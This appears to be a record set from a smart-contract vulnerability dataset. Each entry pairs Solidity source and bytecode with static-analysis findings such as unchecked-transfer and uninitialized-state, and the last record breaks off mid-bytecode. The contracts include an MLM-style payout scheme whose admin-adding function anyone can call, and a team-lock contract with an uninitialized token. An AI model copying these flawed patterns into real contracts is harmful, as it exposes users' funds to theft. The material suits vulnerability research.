526012600452602481fd5b500490565b6000816000190483118215151615610fb957610fb9611010565b500290565b600082821015610fd057610fd0611010565b500390565b600181811c90821680610fe957607f821691505b6020821081141561100a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461103b57600080fd5b5056fea26469706673582212206c1fff6ae8cd223922faa539efd2c753b8d0a6785dd235b517a2ab5ba4d5e3c864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,148 |
0xDd53AF380fc4CaD2E06a95E4eE147b880547a0e6
|
pragma solidity 0.5.16;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(
initializing || isConstructor() || !initialized,
"Contract instance has already been initialized"
);
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly {
cs := extcodesize(self)
}
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface ILidCertifiableToken {
function activateTransfers() external;
function activateTax() external;
function mint(address account, uint256 amount) external returns (bool);
function addMinter(address account) external;
function renounceMinter() external;
function transfer(address recipient, uint256 amount)
external
returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function isMinter(address account) external view returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library BasisPoints {
using SafeMath for uint256;
uint256 private constant BASIS_POINTS = 10000;
function mulBP(uint256 amt, uint256 bp) internal pure returns (uint256) {
if (amt == 0) return 0;
return amt.mul(bp).div(BASIS_POINTS);
}
function divBP(uint256 amt, uint256 bp) internal pure returns (uint256) {
require(bp > 0, "Cannot divide by zero.");
if (amt == 0) return 0;
return amt.mul(BASIS_POINTS).div(bp);
}
function addBP(uint256 amt, uint256 bp) internal pure returns (uint256) {
if (amt == 0) return 0;
if (bp == 0) return amt;
return amt.add(mulBP(amt, bp));
}
function subBP(uint256 amt, uint256 bp) internal pure returns (uint256) {
if (amt == 0) return 0;
if (bp == 0) return amt;
return amt.sub(mulBP(amt, bp));
}
}
contract LidTeamLock is Initializable {
using BasisPoints for uint256;
using SafeMath for uint256;
uint256 public releaseInterval;
uint256 public releaseStart;
uint256 public releaseBP;
uint256 public startingLid;
uint256 public startingEth;
address payable[] public teamMemberAddresses;
uint256[] public teamMemberBPs;
mapping(address => uint256) public teamMemberClaimedEth;
mapping(address => uint256) public teamMemberClaimedLid;
ILidCertifiableToken private lidToken;
function() external payable {}
function initialize() external initializer {}
function claimAmount(uint256 lidWad) external {
require(msg.sender == teamMemberAddresses[0], "Must be project lead.");
lidToken.transfer(msg.sender, lidWad);
}
}
|
0x6080604052600436106100b9576000357c01000000000000000000000000000000000000000000000000000000009004806332d184dc1161008157806332d184dc146101b657806347dedcdd146101cb578063766e33f4146101e05780638129fc1c146101f5578063c96482651461020a578063eaec0e541461025d576100b9565b806318503633146100bb5780631f8db2681461010d578063207f024b1461012257806323b221a014610162578063251a836a1461018c575b005b3480156100c757600080fd5b506100fb600480360360208110156100de57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610272565b60408051918252519081900360200190f35b34801561011957600080fd5b506100fb610284565b34801561012e57600080fd5b506100fb6004803603602081101561014557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661028a565b34801561016e57600080fd5b506100b96004803603602081101561018557600080fd5b503561029c565b34801561019857600080fd5b506100fb600480360360208110156101af57600080fd5b50356103e2565b3480156101c257600080fd5b506100fb610400565b3480156101d757600080fd5b506100fb610406565b3480156101ec57600080fd5b506100fb61040c565b34801561020157600080fd5b506100b9610412565b34801561021657600080fd5b506102346004803603602081101561022d57600080fd5b50356104ce565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561026957600080fd5b506100fb610502565b603a6020526000908152604090205481565b60335481565b603b6020526000908152604090205481565b60386000815481106102aa57fe5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16331461033957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4d7573742062652070726f6a656374206c6561642e0000000000000000000000604482015290519081900360640190fd5b603c54604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815233600482015260248101849052905173ffffffffffffffffffffffffffffffffffffffff9092169163a9059cbb916044808201926020929091908290030181600087803b1580156103b357600080fd5b505af11580156103c7573d6000803e3d6000fd5b505050506040513d60208110156103dd57600080fd5b505050565b603981815481106103ef57fe5b600091825260209091200154905081565b60375481565b60355481565b60345481565b600054610100900460ff168061042b575061042b610508565b80610439575060005460ff16155b61048e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e81526020018061050f602e913960400191505060405180910390fd5b600054610100900460ff161580156104b9576000805460ff1961ff0019909116610100171660011790555b80156104cb576000805461ff00191690555b50565b603881815481106104db57fe5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b60365481565b303b159056fe436f6e747261637420696e7374616e63652068617320616c7265616479206265656e20696e697469616c697a6564a265627a7a7231582063669db79bf6834a16a3cf2b015b909877a3d0fdad5459f3630784bdb13cc8f064736f6c63430005100032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 6,149 |
0xc50be38bb25c57c68625a54468f117719c6942a3
|
pragma solidity 0.5.16;
interface ERC20Interface {
function transfer(address to, uint value) external returns(bool success);
function transferFrom(address _from, address _to, uint256 value) external returns(bool success);
function Exchange_Price() external view returns(uint256 actual_Price);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
contract WealthBuilder_M1 {
struct User {
bool isExist;
uint ID;
uint ReferrerID;
uint SponsorID;
uint SubscriptionTime;
uint64 ReferralCount;
uint64 LvL1Count;
uint64 LvL2Count;
uint64 LvL3Count;
uint64 LvL4Count;
address[] Referrals;
address[] Line1Referrals;
address[] Line2Referrals;
address[] Line3Referrals;
address[] Line4Referrals;
mapping (uint8 => uint) LevelExpiresAt;
}
struct Token_Reward {
uint Total;
uint8[] Rewardtype;
address[] ReferralAddr;
uint256[] Amount;
uint256[] RewardedAt;
}
struct ETH_Reward {
uint Total;
uint8[] Rewardtype;
address[] ReferralAddr;
uint256[] Amount;
uint256[] RewardedAt;
}
struct Purchased_Upgrade {
uint Total;
uint[] pDate;
uint8[] LvL;
uint32[] EduPkg;
}
address public WBC_Wallet;
uint256 public adminCount;
uint public MAX_LEVEL = 9;
uint public REFERRALS_LIMIT = 2;
uint public LEVEL_EXPIRE_TIME = 30 days;
uint256 public TOKEN_PRICE = 0.001 ether;
uint64 public currUserID = 0;
uint8 public Loyalty_TokenReward;
address public TOKEN_SC;
address public TOKEN_ATM;
address public TOKEN_EXCHNG;
address[] public adminListed;
mapping(address => User) public USERS;
mapping(uint256 => address) public USER_ADDRESS;
mapping(uint8 => uint256) public UPGRADE_PRICE;
mapping(uint8 => uint8) public SPONSOR_REWARD;
mapping(address => Purchased_Upgrade) public UPGRADE_PURCHASED;
mapping(address => Token_Reward) public LOYALTY_BONUS;
mapping(address => ETH_Reward) public SPONSOR_BONUS;
mapping(address => uint256) public TOKEN_DEPOSITS;
modifier validLevelAmount(uint8 _level) {
require(msg.value == UPGRADE_PRICE[_level], 'Invalid level amount sent');
_;
}
modifier userRegistered() {
require(USERS[msg.sender].ID != 0, 'User does not exist');
require(USERS[msg.sender].isExist, 'User does not exist');
_;
}
modifier validReferrerID(uint _referrerID) {
require(_referrerID > 0 && _referrerID <= currUserID, 'Invalid referrer ID');
_;
}
modifier userNotRegistered() {
require(USERS[msg.sender].ID == 0, 'User is already registered');
require(!USERS[msg.sender].isExist, 'User does not exist');
_;
}
modifier validLevel(uint _level) {
require(_level > 0 && _level <= MAX_LEVEL, 'Invalid level entered');
_;
}
constructor() public {
TOKEN_SC = 0x79C90021A36250BcE01f11CFd847Ba30E05488B1;
TOKEN_ATM = 0x12e26F7eEfF0602232b03a086343e9eF20825ec3;
TOKEN_EXCHNG = 0x12e26F7eEfF0602232b03a086343e9eF20825ec3;
WBC_Wallet = msg.sender;
adminListed.push(msg.sender);
adminCount = 1;
UPGRADE_PRICE[1] = 0.05 ether;
UPGRADE_PRICE[2] = 0.1 ether;
UPGRADE_PRICE[3] = 0.5 ether;
UPGRADE_PRICE[4] = 1 ether;
UPGRADE_PRICE[5] = 1.5 ether;
UPGRADE_PRICE[6] = 3 ether;
UPGRADE_PRICE[7] = 7 ether;
UPGRADE_PRICE[8] = 16 ether;
UPGRADE_PRICE[9] = 34 ether;
Loyalty_TokenReward = 23;
SPONSOR_REWARD[1] = 20;
SPONSOR_REWARD[2] = 10;
SPONSOR_REWARD[3] = 5;
SPONSOR_REWARD[4] = 2;
addUser(msg.sender,1,1);
for (uint8 i = 1; i <= MAX_LEVEL; i++) {
USERS[msg.sender].LevelExpiresAt[i] = 88888888888;
}
}
function () external payable {
uint8 level;
if(msg.value == UPGRADE_PRICE[1]) level = 1;
else if(msg.value == UPGRADE_PRICE[2]) level = 2;
else if(msg.value == UPGRADE_PRICE[3]) level = 3;
else if(msg.value == UPGRADE_PRICE[4]) level = 4;
else if(msg.value == UPGRADE_PRICE[5]) level = 5;
else if(msg.value == UPGRADE_PRICE[6]) level = 6;
else if(msg.value == UPGRADE_PRICE[7]) level = 7;
else if(msg.value == UPGRADE_PRICE[8]) level = 8;
else if(msg.value == UPGRADE_PRICE[9]) level = 9;
else revert('Incorrect Value send');
if(USERS[msg.sender].isExist) buyLevel(level,level);
else if(level == 1) {
uint refId = 1;
address referrer = bytesToAddress(msg.data);
if(USERS[referrer].isExist) refId = USERS[referrer].ID;
else revert('Incorrect referrer');
regUser(refId,1);
}
else revert('Please buy first level for 0.05 ETH');
}
function regUser(uint _referrerID, uint32 EduPkg) public payable userNotRegistered() validReferrerID(_referrerID) validLevelAmount(1){
uint sponsorUP1_ID = _referrerID;
address sponsorUP1 = USER_ADDRESS[sponsorUP1_ID];
address sponsorUP2 = USER_ADDRESS[USERS[sponsorUP1].SponsorID];
address sponsorUP3 = USER_ADDRESS[USERS[sponsorUP2].SponsorID];
address sponsorUP4 = USER_ADDRESS[USERS[sponsorUP3].SponsorID];
if(USERS[sponsorUP1].Referrals.length >= REFERRALS_LIMIT) {
_referrerID = USERS[findFreeReferrer(sponsorUP1)].ID;
}
addUser(msg.sender, sponsorUP1_ID, _referrerID);
USERS[msg.sender].LevelExpiresAt[1] = block.timestamp+LEVEL_EXPIRE_TIME;
USERS[USER_ADDRESS[_referrerID]].Referrals.push(msg.sender);
USERS[sponsorUP1].Line1Referrals.push(msg.sender);
USERS[sponsorUP2].Line2Referrals.push(msg.sender);
USERS[sponsorUP3].Line3Referrals.push(msg.sender);
USERS[sponsorUP4].Line4Referrals.push(msg.sender);
USERS[sponsorUP1].LvL1Count = USERS[sponsorUP1].LvL1Count+1;
USERS[sponsorUP2].LvL2Count = USERS[sponsorUP2].LvL2Count+1;
USERS[sponsorUP3].LvL3Count = USERS[sponsorUP3].LvL3Count+1;
USERS[sponsorUP4].LvL4Count = USERS[sponsorUP4].LvL4Count+1;
payMembers(msg.sender,sponsorUP1,sponsorUP2,sponsorUP3,sponsorUP4,1,EduPkg);
addReferrerCount(USER_ADDRESS[_referrerID]);
}
function addUser(address New_Member, uint256 SponsorID, uint256 ReferrerID ) internal {
currUserID++;
USERS[New_Member] = User({
isExist: true,
ID: currUserID,
ReferrerID: ReferrerID,
SponsorID: SponsorID,
ReferralCount: 0,
LvL1Count:0,
LvL2Count:0,
LvL3Count:0,
LvL4Count:0,
SubscriptionTime: block.timestamp,
Referrals: new address[](0),
Line1Referrals: new address[](0),
Line2Referrals: new address[](0),
Line3Referrals: new address[](0),
Line4Referrals: new address[](0)
});
USER_ADDRESS[currUserID] = New_Member;
}
function addReferrerCount(address Referrer) internal {
bool isFinished = false;
uint ID;
for(uint8 i = 1;i<=13;i++){
if(!isFinished){
USERS[Referrer].ReferralCount = USERS[Referrer].ReferralCount+1;
ID = USERS[Referrer].ID;
if(ID==1) {isFinished = true;}
else {Referrer = USER_ADDRESS[USERS[Referrer].ReferrerID];}
}
}
}
function buyLevel(uint8 _level, uint32 EduPkg) public payable validLevelAmount(_level) {
require(USERS[msg.sender].isExist, 'User not exist');
require(_level > 0 && _level <= 10, 'Incorrect level');
for(uint8 l = 1; l < _level ; l++) require(USERS[msg.sender].LevelExpiresAt[l] >= block.timestamp,'Buy the previous level');
address sponsorUP1 = USER_ADDRESS[USERS[msg.sender].SponsorID];
address sponsorUP2 = USER_ADDRESS[USERS[sponsorUP1].SponsorID];
address sponsorUP3 = USER_ADDRESS[USERS[sponsorUP2].SponsorID];
address sponsorUP4 = USER_ADDRESS[USERS[sponsorUP3].SponsorID];
USERS[msg.sender].LevelExpiresAt[_level] = block.timestamp+LEVEL_EXPIRE_TIME;
payMembers(msg.sender,sponsorUP1,sponsorUP2,sponsorUP3,sponsorUP4,_level,EduPkg);
}
function findFreeReferrer(address _user) public view returns (address) {
require(USERS[_user].isExist, 'User not exist');
if (USERS[_user].Referrals.length < REFERRALS_LIMIT) {
return _user;
}
address[16382] memory referrals;
referrals[0] = USERS[_user].Referrals[0];
referrals[1] = USERS[_user].Referrals[1];
address referrer;
for (uint16 i = 0; i < 16382; i++) {
if (USERS[referrals[i]].Referrals.length < REFERRALS_LIMIT) {
referrer = referrals[i];
break;
}
if (i >= 8190) {continue;}
referrals[(i+1)*2] = USERS[referrals[i]].Referrals[0];
referrals[(i+1)*2+1] = USERS[referrals[i]].Referrals[1];
}
require(referrer != address(0), 'Referrer not found');
return referrer;
}
function Reward_Loyality_Bonus(uint8 _level, address _user) internal returns(uint256 RewardedLoyalityBonus){
require(USERS[_user].isExist, 'User not exist');
uint _referrerID;
address _referrerAddr;
uint8 _referrerLevel;
address user = _user;
uint _uplines = _level+4;
uint _LevelReward = (UPGRADE_PRICE[_level]*Loyalty_TokenReward/100)/_uplines;
uint256 _amountToken = _LevelReward*(10**18)/TOKEN_PRICE;
uint256 rewardedUplines = 0;
for (uint8 i = 1; i <= _uplines; i++) {
_referrerID = USERS[user].ReferrerID;
_referrerAddr = USER_ADDRESS[_referrerID];
_referrerLevel = getUserLevel(_referrerAddr);
if( _referrerLevel < _level ) {
Write_Loyalty_Bonus(0, _referrerAddr, _user, _amountToken);
} else {
TOKEN_DEPOSITS[TOKEN_SC] = TOKEN_DEPOSITS[TOKEN_SC] - (_amountToken);
ERC20Interface ERC20Token = ERC20Interface(TOKEN_SC);
ERC20Token.transfer(_referrerAddr, _amountToken);
Write_Loyalty_Bonus(i, _referrerAddr, _user, _amountToken);
rewardedUplines += 1;
}
user = _referrerAddr;
}
RewardedLoyalityBonus = _LevelReward*rewardedUplines;
if (rewardedUplines>0){
bool send = false;
(send, ) = address(uint160(TOKEN_ATM)).call.value(RewardedLoyalityBonus)("");
}
return RewardedLoyalityBonus;
}
function Write_Loyalty_Bonus(uint8 _type, address _user, address _referralAddr, uint256 _reward ) internal {
LOYALTY_BONUS[_user].Rewardtype.push(_type);
LOYALTY_BONUS[_user].ReferralAddr.push(_referralAddr);
LOYALTY_BONUS[_user].Amount.push(_reward);
LOYALTY_BONUS[_user].RewardedAt.push(block.timestamp);
}
function Write_Sponsor_Bonus(uint8 _type, address _user, address _referralAddr, uint256 _reward ) internal {
SPONSOR_BONUS[_user].Rewardtype.push(_type);
SPONSOR_BONUS[_user].ReferralAddr.push(_referralAddr);
SPONSOR_BONUS[_user].Amount.push(_reward);
SPONSOR_BONUS[_user].RewardedAt.push(block.timestamp);
}
function paySponsor(address _user, address Sponsor,uint8 _level, uint8 _line, uint256 _remValue) internal returns(uint256 RemValue) {
uint256 _Price = UPGRADE_PRICE[_level];
uint256 _UPLevelReward = _Price*SPONSOR_REWARD[_line]/100;
bool send = false;
RemValue = _remValue;
if ( getUserLevel(Sponsor) >= _level ){
(send, ) = address(uint160(Sponsor)).call.value(_UPLevelReward)("");
Write_Sponsor_Bonus(_line,Sponsor,_user,_UPLevelReward);
RemValue = _remValue-_UPLevelReward;
} else {
Write_Sponsor_Bonus(0, Sponsor,_user,_UPLevelReward);
}
}
function payMembers(address _user,address spUP1,address spUP2,address spUP3,address spUP4,uint8 _level,uint32 EduPkg) internal {
uint256 _remValue = UPGRADE_PRICE[_level];
_remValue = paySponsor(_user,spUP1,_level,1,_remValue);
_remValue = paySponsor(_user,spUP2,_level,2,_remValue);
_remValue = paySponsor(_user,spUP3,_level,3,_remValue);
_remValue = paySponsor(_user,spUP4,_level,4,_remValue);
_remValue = _remValue - Reward_Loyality_Bonus(_level, _user);
UPGRADE_PURCHASED[_user].pDate.push(block.timestamp);
UPGRADE_PURCHASED[_user].LvL.push(_level);
UPGRADE_PURCHASED[_user].EduPkg.push(EduPkg);
bool send = false;
(send, ) = address(uint160(WBC_Wallet)).call.value(_remValue)("");
}
function isAdminListed(address _maker) public view returns (bool) {
require(_maker != address(0));
bool status = false;
for(uint256 i=0;i<adminCount;i++){
if(adminListed[i] == _maker) { status = true; }
}
return status;
}
function listAdmins() public view returns (address[] memory) {
require(isAdminListed(msg.sender),'Only Admins');
address[] memory _adminList = new address[](adminCount);
for(uint i = 0; i<adminCount ; i++){
_adminList[i] = adminListed[i];
}
return _adminList;
}
function addAdminList (address _adminUser) public {
require(_adminUser != address(0));
require(!isAdminListed(_adminUser));
adminListed.push(_adminUser);
adminCount++;
}
function removeAdminList (address _clearedAdmin) public {
require(isAdminListed(msg.sender),'Only Admins');
require(isAdminListed(_clearedAdmin) && _clearedAdmin != msg.sender);
for(uint256 i = 0 ;i<adminCount;i++){
if(adminListed[i] == _clearedAdmin) {
adminListed[i] = adminListed[adminListed.length-1];
delete adminListed[adminListed.length-1];
adminCount--;
}
}
}
function getUserReferrals(address _User,uint _Pos) public view returns (address referral)
{ return(USERS[_User].Referrals[_Pos]); }
function getLine1Ref(address _User, uint _Pos) public view returns (address referral)
{ return USERS[_User].Line1Referrals[_Pos]; }
function getLine2Ref(address _User, uint _Pos) public view returns (address referral)
{ return USERS[_User].Line2Referrals[_Pos]; }
function getLine3Ref(address _User, uint _Pos) public view returns (address referral)
{ return USERS[_User].Line3Referrals[_Pos]; }
function getLine4Ref(address _User, uint _Pos) public view returns (address referral)
{ return USERS[_User].Line4Referrals[_Pos]; }
function getUserLevelExpiresAt(address _user, uint8 _level) public view returns (uint)
{ return USERS[_user].LevelExpiresAt[_level];}
function getUserLevel (address _user) public view returns (uint8) {
if (getUserLevelExpiresAt(_user, 1) < block.timestamp) {return (0);}
else if (getUserLevelExpiresAt(_user, 2) < block.timestamp) {return (1);}
else if (getUserLevelExpiresAt(_user, 3) < block.timestamp) {return (2);}
else if (getUserLevelExpiresAt(_user, 4) < block.timestamp) {return (3);}
else if (getUserLevelExpiresAt(_user, 5) < block.timestamp) {return (4);}
else if (getUserLevelExpiresAt(_user, 6) < block.timestamp) {return (5);}
else if (getUserLevelExpiresAt(_user, 7) < block.timestamp) {return (6);}
else if (getUserLevelExpiresAt(_user, 8) < block.timestamp) {return (7);}
else if (getUserLevelExpiresAt(_user, 9) < block.timestamp) {return (8);}
else {return (9);}
}
function getPkgPurchased(address _User, uint _Pos)
public view returns (uint8 LvL,uint pDate,uint32 EduPkg) {
return (
UPGRADE_PURCHASED[_User].LvL[_Pos],
UPGRADE_PURCHASED[_User].pDate[_Pos],
UPGRADE_PURCHASED[_User].EduPkg[_Pos]
);}
function getLOYALTY_BONUS(address _User, uint _Pos)
public view returns(uint8 Rewardtype,uint256 Amount,uint256 RewardedAt,address ReferralAddr){
return (
LOYALTY_BONUS[_User].Rewardtype[_Pos],
LOYALTY_BONUS[_User].Amount[_Pos],
LOYALTY_BONUS[_User].RewardedAt[_Pos],
LOYALTY_BONUS[_User].ReferralAddr[_Pos]
);}
function getSPONSOR_BONUS(address _User, uint _Pos)
public view returns(uint8 Rewardtype,uint256 Amount,uint256 RewardedAt,address ReferralAddr){
return (
SPONSOR_BONUS[_User].Rewardtype[_Pos],
SPONSOR_BONUS[_User].Amount[_Pos],
SPONSOR_BONUS[_User].RewardedAt[_Pos],
SPONSOR_BONUS[_User].ReferralAddr[_Pos]
);}
function set_TOKEN_SC_Address (address _tokenSCAddress) public {
require(isAdminListed(msg.sender),'Only Admins');
TOKEN_SC = _tokenSCAddress;}
function set_TOKEN_ATM_Address (address _tokenATM_Address) public {
require(isAdminListed(msg.sender),'Only Admins');
TOKEN_ATM = _tokenATM_Address;}
function set_TOKEN_EXCHNG_Address (address _exchngSCAddress) public {
require(isAdminListed(msg.sender),'Only Admins');
TOKEN_EXCHNG = _exchngSCAddress;}
function set_Owner_Address (address _WBC_Address) public {
require(isAdminListed(msg.sender),'Only Admins');
WBC_Wallet = _WBC_Address;}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {assembly {addr := mload(add(bys,20))}}
function set_Exchange_Price() public {
ERC20Interface ERC20Exchng = ERC20Interface(TOKEN_EXCHNG);
TOKEN_PRICE = ERC20Exchng.Exchange_Price();}
function depositToken(uint256 _amount) public {
ERC20Interface ERC20Token = ERC20Interface(TOKEN_SC);
require(ERC20Token.transferFrom(msg.sender, address(this),_amount),'Token Transfer failed !');
TOKEN_DEPOSITS[TOKEN_SC] = TOKEN_DEPOSITS[TOKEN_SC]+_amount;}
function getUserID(address _user) public view returns(uint256 userID) {return userID = USERS[_user].ID;}
function viewUserReferral(address _user) public view returns(address[] memory) {return USERS[_user].Referrals;}
function getETHBalance() public view returns (uint256 _ETHBalance) {
require(isAdminListed(msg.sender),'Only Admins');
return address(this).balance;}
}
|
0x60806040526004361061027d5760003560e01c806383ee06791161014f578063ad5b335b116100c1578063e780ef731161007a578063e780ef7314610e64578063e9cbc04614610e79578063ed97e5a114610ea6578063fafd267614610ebb578063fd8bd84914610ed0578063ff08514b14610f035761027d565b8063ad5b335b14610d6e578063ae52aae714610daa578063d2d8cb6714610ddd578063d8b8242814610df2578063e256c66a14610e07578063e4a6dc9d14610e315761027d565b8063a184f41311610113578063a184f41314610c69578063a188cc2114610cca578063a49062d414610cfd578063a4b994c114610d12578063a4bb170d14610d27578063a591afbe14610d595761027d565b806383ee067914610b6d5780638554c6b614610ba0578063883dac0214610bca5780638fad067d14610bfd5780639051af5814610c365761027d565b80633c690017116101f357806360c47b94116101ac57806360c47b9414610a985780636215be7714610aad57806366aac04414610ad75780636a9bdd3714610b0a5780636e94729814610b1f5780637e5f179f14610b345761027d565b80633c690017146108b35780634a4baa8f146108ec5780634f697c371461096f5780635662928614610a0657806359c58e3814610a325780635fc27d3214610a6b5761027d565b8063132c8c9b11610245578063132c8c9b1461076f5780631822c0c0146107a257806319a07ec8146107e957806321923bde1461081c5780632b7832b314610865578063312f06331461087a5761027d565b806304b107a2146106295780630e0e912f1461067e5780630ef12aa9146106ea5780631166d02c1461072f57806311b512d31461075a575b60016000908152600c6020527fd421a5181c571bba3f01190c922c3b2a896fc1d84e86c9f17ac10e67ebef8b5c543414156102ba575060016104d6565b6002600052600c6020527f5d6016397a73f5e079297ac5a36fef17b4d9c3831618e63ab105738020ddd720543414156102f5575060026104d6565b6003600052600c6020527fc0da782485e77ae272268ae0a3ff44c1552ecb60b3743924de17a815e0a3cfd754341415610330575060036104d6565b6004600052600c6020527f5b84bb9e0f5aa9cc45a8bb66468db5d4816d1e75ff86b5e1f1dd8d144dab80975434141561036b575060046104d6565b6005600052600c6020527f2cd9ebf6ff19cdd7ffcc447d7c7d47b5991f5c7392a04512134e765802361fa6543414156103a6575060056104d6565b6006600052600c6020527f980f427e00e74f6d338adfccc7468518c8c8ea00836d0dce98c5fe154e17bf2b543414156103e1575060066104d6565b6007600052600c6020527fdae089abd7155aa13ce498edb0d7a7156b783d015031f10c9a3d4f5fcb5189715434141561041c575060076104d6565b6008600052600c6020527f5ff1be3842b54290a9d10674244dae5848d2371b5314790c54805c086586e1df54341415610457575060086104d6565b6009600052600c6020527f2fb3c9afecd3f0d43923381d3e9f60168c039b98f0b7120382e81b682b7bc31654341415610492575060096104d6565b6040805162461bcd60e51b8152602060048201526014602482015273125b98dbdc9c9958dd0815985b1d59481cd95b9960621b604482015290519081900360640190fd5b336000908152600a602052604090205460ff1615610500576104fb818260ff16610f36565b610626565b8060ff16600114156105ef5760006001905060006105546000368080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061117c92505050565b6001600160a01b0381166000908152600a602052604090205490915060ff161561059b576001600160a01b0381166000908152600a602052604090206001015491506105dd565b6040805162461bcd60e51b815260206004820152601260248201527124b731b7b93932b1ba103932b332b93932b960711b604482015290519081900360640190fd5b6105e8826001611183565b5050610